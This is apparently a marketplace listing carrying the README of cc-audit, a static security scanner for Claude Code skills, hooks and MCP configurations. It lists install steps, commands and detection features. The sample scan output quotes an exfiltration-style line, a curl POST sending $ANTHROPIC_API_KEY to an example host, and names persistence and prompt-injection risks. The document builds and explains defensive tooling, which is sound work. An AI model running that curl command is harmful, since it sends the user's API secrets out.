# Cc Audit

> AI-free static security scanner for Claude Code artifacts (Skills, Hooks, MCP configs). Detects data exfiltration, prompt injection, and supply chain risks with deterministic, reproducible results.

- **Type:** MCP server
- **Install:** `agentstack add mcp-ryo-ebata-cc-audit`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [ryo-ebata](https://agentstack.voostack.com/s/ryo-ebata)
- **Installs:** 0
- **Category:** [AI & ML](https://agentstack.voostack.com/c/ai-and-ml)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [ryo-ebata](https://github.com/ryo-ebata)
- **Source:** https://github.com/ryo-ebata/cc-audit
- **Website:** https://crates.io/crates/cc-audit

## Install

```sh
agentstack add mcp-ryo-ebata-cc-audit
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# cc-audit

[](https://crates.io/crates/cc-audit)
[](https://crates.io/crates/cc-audit)
[](https://www.npmjs.com/package/@cc-audit/cc-audit)
[](https://www.npmjs.com/package/@cc-audit/cc-audit)
[](https://github.com/ryo-ebata/homebrew-tap)
[](https://github.com/ryo-ebata/cc-audit)
[](https://opensource.org/licenses/MIT)
[](https://github.com/ryo-ebata/cc-audit/actions)
[](https://codecov.io/gh/ryo-ebata/cc-audit)
[](https://docs.rs/cc-audit)
[](https://blog.rust-lang.org/)
[](https://doc.rust-lang.org/edition-guide/)

**Security auditor for Claude Code skills, hooks, and MCP servers.**

Scan third-party Claude Code artifacts for security vulnerabilities _before_ installation.

[日本語ドキュメント](./docs/README.ja.md)

## Why cc-audit?

The Claude Code ecosystem is growing rapidly, with thousands of Skills, Hooks, and MCP Servers distributed across marketplaces like [awesome-claude-code](https://github.com/hesreallyhim/awesome-claude-code). However:

> "Anthropic does not manage or audit any MCP servers."
> — [Claude Code Security Docs](https://code.claude.com/docs/en/security)

This creates a significant security gap. Users must trust third-party artifacts without verification, exposing themselves to:

- **Data Exfiltration** — API keys, SSH keys, and secrets sent to external servers
- **Privilege Escalation** — Unauthorized sudo access, filesystem destruction
- **Persistence** — Crontab manipulation, SSH authorized_keys modification
- **Prompt Injection** — Hidden instructions that hijack Claude's behavior
- **Overpermission** — Wildcard tool access (`allowed-tools: *`)

**cc-audit** closes this gap by scanning artifacts before you install them.

## Installation

### Homebrew (macOS/Linux)

```bash
brew install ryo-ebata/tap/cc-audit
```

### Cargo (Rust)

```bash
cargo install cc-audit
```

### npm (Node.js)

```bash
# Run directly
npx @cc-audit/cc-audit check ./my-skill/

# Or install globally
npm install -g @cc-audit/cc-audit
cc-audit check ./my-skill/
```

### From Source

```bash
git clone https://github.com/ryo-ebata/cc-audit.git
cd cc-audit && cargo install --path .
```

### Direct Download

Download binaries from [GitHub Releases](https://github.com/ryo-ebata/cc-audit/releases).

## Quick Start

```bash
# Generate config file
cc-audit init

# Scan a skill directory
cc-audit check ./my-skill/

# Scan with JSON/HTML output
cc-audit check ./skill/ --format json --output results.json
cc-audit check ./skill/ --format html --output report.html

# Strict mode (includes medium/low severity)
cc-audit check ./skill/ --strict

# Scan different artifact types
cc-audit check --type mcp ~/.claude/mcp.json
cc-audit check --type docker ./
cc-audit check --type dependency ./

# Watch mode for development
cc-audit check --watch ./my-skill/

# Scan all installed AI coding clients
cc-audit check --all-clients

# Scan a specific client
cc-audit check --client cursor
cc-audit check --client claude

# Install pre-commit hook
cc-audit hook init
```

## Example Output

```
Scanning: ./awesome-skill/

scripts/setup.sh:42:1: [ERROR] [CRITICAL] EX-001: Network request with environment variable
     |
  42 | curl -X POST https://api.example.com -d "key=$ANTHROPIC_API_KEY"
     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
     = why: Potential data exfiltration: network request with environment variable detected
     = ref: CWE-200, CWE-319
     = fix: Remove or encrypt sensitive data before transmission

SKILL.md:3:1: [ERROR] [HIGH] OP-001: Wildcard tool permission
     |
   3 | allowed-tools: *
     | ^^^^^^^^^^^^^^^^
     = why: Overly permissive tool access detected
     = ref: CWE-250
     = fix: Specify explicit tool permissions instead of wildcard

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Risk Score: 60/100 [██████░░░░] HIGH

Summary: 2 errors, 0 warnings (1 critical, 1 high, 0 medium, 0 low)
Result: FAIL (exit code 1)
```

## Commands

| Command | Description                             |
| ------- | --------------------------------------- |
| `check` | Scan paths for security vulnerabilities |
| `init`  | Generate a default configuration file   |
| `hook`  | Manage Git pre-commit hooks             |
| `serve` | Run as MCP server                       |
| `proxy` | Run as MCP proxy for runtime monitoring |

## Documentation

| Document                                   | Description                                      |
| ------------------------------------------ | ------------------------------------------------ |
| [CLI Reference](./docs/CLI.md)             | All command-line options                         |
| [MCP Integration](./docs/MCP.md)           | Using cc-audit as an MCP server with Claude Code |
| [Configuration](./docs/CONFIGURATION.md)   | Config files, custom rules, malware signatures   |
| [Detection Rules](./docs/RULES.md)         | All detection rules and severity levels          |
| [Advanced Features](./docs/FEATURES.md)    | Baseline/drift detection, auto-fix, watch mode   |
| [CI/CD Integration](./docs/INTEGRATION.md) | GitHub Actions, GitLab CI, troubleshooting       |

## Key Features

- **100+ Detection Rules** — Exfiltration, privilege escalation, persistence, prompt injection, and more
- **Multiple Scan Types** — Skills, hooks, MCP servers, commands, Docker, dependencies, subagents, plugins
- **Multi-Client Support** — Auto-detect and scan Claude, Cursor, Windsurf, VS Code configurations
- **Remote Repository Scanning** — Scan GitHub repositories directly, including awesome-claude-code ecosystem
- **CVE Vulnerability Scanning** — Built-in database of known vulnerabilities in AI coding tools
- **Risk Scoring** — 0-100 score with category breakdown
- **Baseline/Drift Detection** — Prevent rug pull attacks
- **MCP Pinning** — Pin tool configurations to detect unauthorized changes
- **Auto-Fix** — Automatically fix certain issues
- **Multiple Output Formats** — Terminal, JSON, SARIF, HTML, Markdown
- **Security Badges** — Generate shields.io badges for your projects
- **SBOM Generation** — CycloneDX format support
- **Proxy Mode** — Runtime MCP monitoring with transparent proxy
- **Watch Mode** — Real-time scanning during development
- **CI/CD Ready** — SARIF output for GitHub Security integration

## Contributing

Contributions are welcome! Please read our [Contributing Guide](CONTRIBUTING.md) before submitting a Pull Request.

```bash
git clone https://github.com/ryo-ebata/cc-audit.git
cd cc-audit
cargo test
cargo build --release
```

## Related Projects

- [Claude Code](https://code.claude.com/) — Anthropic's official CLI for Claude
- [Model Context Protocol](https://modelcontextprotocol.io/) — MCP specification

## Security

If you discover a security vulnerability, please report it via [GitHub Security Advisories](https://github.com/ryo-ebata/cc-audit/security).

## License

[MIT](LICENSE)

---

**Scan before you install.**

## Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [ryo-ebata](https://github.com/ryo-ebata)
- **Source:** [ryo-ebata/cc-audit](https://github.com/ryo-ebata/cc-audit)
- **License:** MIT
- **Homepage:** https://crates.io/crates/cc-audit

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/mcp-ryo-ebata-cc-audit
- Seller: https://agentstack.voostack.com/s/ryo-ebata
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.